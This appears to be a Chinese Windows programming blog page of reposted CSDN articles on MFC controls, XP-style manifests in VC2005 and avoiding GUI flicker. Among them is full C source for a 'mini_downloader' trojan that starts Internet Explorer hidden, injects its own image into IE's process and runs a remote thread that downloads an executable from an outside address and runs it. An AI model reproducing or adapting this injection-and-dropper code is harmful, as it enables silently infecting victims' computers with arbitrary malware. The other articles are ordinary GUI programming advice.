2009年7月20日
#
使用MFC的人都知道,MFC里提供的控件都是非常基本的Windows控件,需要高级控件,一般除了自己编写,就是使用别人编写好的库。而一般很难找到Panel控件,我本人找了很久也没找到。因此自己实现了一个。供大家使用。
实现思路:
1.需要一个管理各个字Panel的父类,这里的是CPanel类,这个类负责各个Panel的排版和管理工作。
2.需要一个支持对话框显示的类,对应这里的CPanelItem类,只要从这个类派生后,实现这个小面板的逻辑功能就可以了。
源代码下载:
/Files/fangyuanning/mfc_panel_control.rar
转载请注明出处。
2009年7月19日
#
VC2005程序界面使用XP风格 收藏
我把程序从VC6和 VS2003 移植到VS2005时, 遇到了一些问题, 这里讲的是XP风格化的问题:
为了实现界面的XP风格化, 需要有一个manifest文件XPStyle.manifest(见附文).
可以添加到项目资源中, .rc文件中会添加一个ID:1 type:manifeset的资源;
可是, 这个资源ID在VC2005里会提示资源冲突(VC2003不会冲突).
在百度搜索, 发现了一个网友提供的方案: "项目属性"--"清单工具"--"输入和输出"--"嵌入清单"--"否" ;
但是, 这个方案对我来说有不足, 会引起其他问题, 比如动态链接MFC的程序, 执行时会提示找不到MFC库文件,
可我的电脑可是装了VS2005的,怎么没有库? 试了几次, 就是这个清单的问题.
如果选择不生成清单文件, 那么界面风格就不是XP化的.
查MSDN后, 发现MSDN已经提供了解决方法:
在 Visual Studio 开发环境中设置此链接器选项
打开此项目的“属性页”对话框。有关详细信息,请参见设置 Visual C++ 项目属性。
单击“链接器”文件夹。
单击“嵌入的 IDL”属性页。
修改“类型库资源 ID”属性。(我设置为100,OK!)
这种方案也算是个好方案, 但是需要去修改.RC文件里面的资源ID.
最后推荐一种方法:
不要将manifest文件添加到项目资源中, 有两种做法:
1. 在"项目属性"--"清单工具"---"输入和输出"---"附加清单文件"--在里面填入XML文件的位置;
比如我的文件位置: $(ProjectDir)\res\XPStyle.manifest
2. 直接把文件添加到项目的文件列表中(不是导入到资源中).
[附manifest文件内容]
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.0.0.0"
processorArchitecture="X86"
name="Microsoft.Windows.M8000"
type="win32"
/>
<description>SetM8000</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="X86"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
</assembly>
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/ydbcsdn/archive/2009/03/19/4003410.aspx
插入IE进程的下载者源代码 收藏
/*
"mini_downloader"
code bykardinal p.s.t
compile by vc++ 6.0
can not run under win98;
*/
#include <windows.h>
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")
//#pragma comment(linker, "/OPT:NOWIN98") //取消这几行的注释,编译出的文件只有2K大小
//#pragma comment(linker, "/merge:.data=.text")
//#pragma comment(linker, "/merge:.rdata=.text")
//#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/BASE:0x13150000")
HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数
DWORD(WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数
HANDLE processhandle;
DWORD pid;
HINSTANCE hshell,hurlmon;
void download() //注入使用的下载函数
{
hshell=LoadLibrary("Shell32.dll");
hurlmon=LoadLibrary("urlmon.dll");
(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");
DOWNFILE(NULL,"http://192.168.0.188/1.exe","c:\\1.exe",0, NULL);
SHELLRUN(0,"open","c:\\1.exe",NULL,NULL,5);
ExitProcess(0);
};
void main() //主函数
{
//1.得到IE路径,并运行
char iename[MAX_PATH],iepath[MAX_PATH];
ZeroMemory(iename,sizeof(iename));
ZeroMemory(iepath,sizeof(iepath));
GetWindowsDirectory(iepath,MAX_PATH);
strncpy(iename,iepath,3);
strcat(iename,"program files\\Internet Explorer\\IEXPLORE.EXE");
//strcat(iename,"windows\\notepad.EXE");
WinExec(iename,SW_HIDE);
Sleep(2000);
//2.得到 IE process handle
HWND htemp;
htemp=FindWindow("IEFrame",NULL);
GetWindowThreadProcessId(htemp,&pid);
processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//3.分配内存
HMODULE Module;
LPVOID NewModule;
DWORD Size;
LPDWORD lpimagesize;
Module = GetModuleHandle(NULL);//进程映像的基址
//得到内存镜像大小
_asm
{
push eax;
push ebx;
mov ebx,Module;
mov eax,[ebx+0x3c];
lea eax,[ebx+eax+0x50];
mov eax,[eax]
mov lpimagesize,eax;
pop ebx;
pop eax;
};
Size=(DWORD)lpimagesize;
NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//确定起始基址和内存映像基址的位置
//4.写内存,创建线程
WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据
LPTHREAD_START_ROUTINE entrypoint;
__asm
{
push eax;
lea eax,download;
mov entrypoint,eax;
pop eax
}
CreateRemoteThread(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行
//5.关闭对象
CloseHandle(processhandle);
Sleep(5000);
return;
};
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/zshwlw/archive/2008/05/27/2487299.aspx
不用双缓冲实现无闪烁图象 收藏
首先说一下产生闪烁的原因,当窗口由于任何原因需要重绘时,总是先用背景色或背景图象将显示区清除,然后才显示图象,这样在短时间内背景色与显示图形交替出现,使得显示窗口看起来在闪。如果将背景刷设置成NULL,这样无论怎样重绘图形都不会闪了,但是会使得窗口的显示乱成一团,因为重绘时没有背景色对原来绘制的图形进行清除,而又叠加上了新的图形。
一般的解决方法就是采用双缓冲,创建一幅内存图象,把背景和图片先绘制到该图象,然后把绘制好的该图象显示到窗口,这样就不会产生闪烁,其实就是隐藏了图象的显示过程,原来是在前台,给你看到先在画布上刷上背景,再画上图象,现在是在后台画好了再拿出来给你看。
看起来好象解决方法是需要一次性绘制好图象,其实关键是不能让任何背景及图片在绘制时产生重叠,跟是否一次性绘制没多大关系。电脑的绘制速度还是很快的,不信可以试试把背景刷设置成NULL,这样不会闪烁,然后循环调用BitBlt把一幅小图片铺满整个窗口,虽然是多次绘制,一样不会闪烁,但是如果改变一下循环步长,让图片产生重叠,就会开始闪烁了。
知道了闪烁的原因,不用双缓冲的解决办法就不难找到了,调用ExcludeClipRect,可以排除掉绘制区域,先绘制图片,ExcludeClipRect掉图片的区域,再绘制背景,相当于把一幅挖了一个洞的画布贴到窗口,这样不产生绘制重叠部分,就不会产生闪烁了。
API代码,始终在窗口右下角显示一幅300*200的图片,窗口背景为黑色:
case WM_PAINT:
{
PAINTSTRUCT ps;
RECT rc;
HDC hMemDC;
GetClientRect(hWnd,&rc);
BeginPaint(hWnd,&ps);
hMemDC = CreateCompatibleDC(ps.hdc);
SelectObject(hMemDC,hbmp);
BitBlt(ps.hdc,rc.right-300,rc.bottom-200,300,200,hMemDC,0,0,SRCCOPY);
ExcludeClipRect(ps.hdc,rc.right-300,rc.bottom-200,rc.right,rc.bottom);
FillRect(ps.hdc,&rc,(HBRUSH)GetStockObject(BLACK_BRUSH));
DeleteDC(hMemDC);
EndPaint(m_hWnd,&ps);
return 0;
}
有时候因为刷新区域的问题,可能调整窗口但是WM_PAINT的代码不起作用,这时需要响应WM_SIZE消息,通知画面更新一下:
case WM_SIZE:
InvalidateRect(hWnd,NULL,FALSE);
break;
对于显示多幅图象,这个方法也是适用的,只要每绘制完一幅图象,ExcludeClipRect掉该图象区域就可以,但是注意如果图象有重叠,绘制顺序是反过来的,即盖在最上面的图象需要最先绘制,最后给整个窗口刷上背景就OK了。
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/ringphone/archive/2007/12/03/1914052.aspx
解决Windows 程序界面闪烁问题的一些经验 收藏
原帖地址:http://blog.joycode.com/yaodong/archive/2004/11/26/39764.aspx
一般的windows 复杂的界面需要使用多层窗口而且要用贴图来美化,所以不可避免在窗口移动或者改变大小的时候出现闪烁。
先来谈谈闪烁产生的原因
原因一:
如果熟悉显卡原理的话,调用GDI函数向屏幕输出的时候并不是立刻就显示在屏幕
上只是写到了显存里,而显卡每隔一段时间把显存的内容输出到屏幕上,这就是刷新周期。
一般显卡的刷新周期是 1/80秒左右,具体数字可以自己设置的。
这样问题就来了,一般画图都是先画背景色,然后再把内容画上去,如果这两次操作不在同一个
刷新周期内完成,那么给人的视觉感受就是,先看到只有背景色的图像,然后看到画上内容的图像,
这样就会感觉闪烁了。
解决方法:尽量快的输出图像,使输出在一个刷新周期内完成,如果输出内容很多比较慢,那么采用
内存缓冲的方法,先把要输出的内容在内存准备好,然后一次输出到显存。要知道一次API调用一般可以
在一个刷新周期内完成。
对于GDI,用创建内存DC的方法就可以了
原因二:
复杂的界面有多层窗口组成,当windows在窗口改变大小的时候是先重画父窗口,然后重画子窗口,子父
窗口重画的过程一般无法在一个刷新周期内完成,所以会呈现闪烁。
我们知道父窗口上被子窗口挡住的部分其实没必要重画的
解决方法:给窗口加个风格 WS_CLIPCHILDREN ,这样父窗口上被子窗口挡住的部分就不会重画了。
如果同级窗口之间有重叠,那么需要再加上 WS_CLIPSIBLINGS 风格
原因三:
有时候需要在窗口上使用一些控件,比如IE,当你的窗口改变大小的时候IE会闪烁,即使你有了WS_CLIPCHILDREN
也没用。原因在于窗口的类风格有CS_HREDRAW 或者 CS_VREDRAW,这两个风格表示窗口在宽度或者高度变化的时候
重画,但是这样就会引起IE闪烁
解决方法:注册窗口类的时候不要使用这两个风格,如果窗口需要在改变大小的时候重画,那么可以在WM_SIZE的时候
调用RedrawWindow。
原因四:
界面上窗口很多,而且改变大小时很多窗口都要移动和改变大小,如果使用MoveWindow或者SetWindowPos两个API来
改变窗口的大小和位置,由于他们是等待窗口重画完成后才返回,所以过程很慢,这样视觉效果就可能会闪烁。
解决方法:
使用以下API来处理窗口移动,BeginDeferWindowPos, DeferWindowPos,EndDeferWindowPos
先调用 BeginDeferWindowPos 设定需要移动的窗口的个数
使用DeferWindowPos,来移动窗口,这个API并不真的造成窗口移动
EndDeferWindowPos 一次性完成所有窗口的大小和位置的改变。
有个地方要特别注意,要仔细计算清楚要移动多少个窗口,BeginDeferWindowPos设定
的个数一定要和实际的个数一致,否则在Win9x下,如果实际移动的窗口数多于调用BeginDeferWindowPos
时设定的个数,可能会造成系统崩溃。在Windows NT系列下不会有这样的问题。
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/ringphone/archive/2008/01/14/2042693.aspx
2009年7月1日
#
本人写的一个关于CEGUI的简单教程,放到这里与大家共享。
有疑问可以提,我有时间尽快回复。
下载文档:
/Files/fangyuanning/CEGUI/CEGUI_mht.rar 还附带一些代码和实例暂时不提供下载了。
欢迎提建议和评论。
转载请注明出处。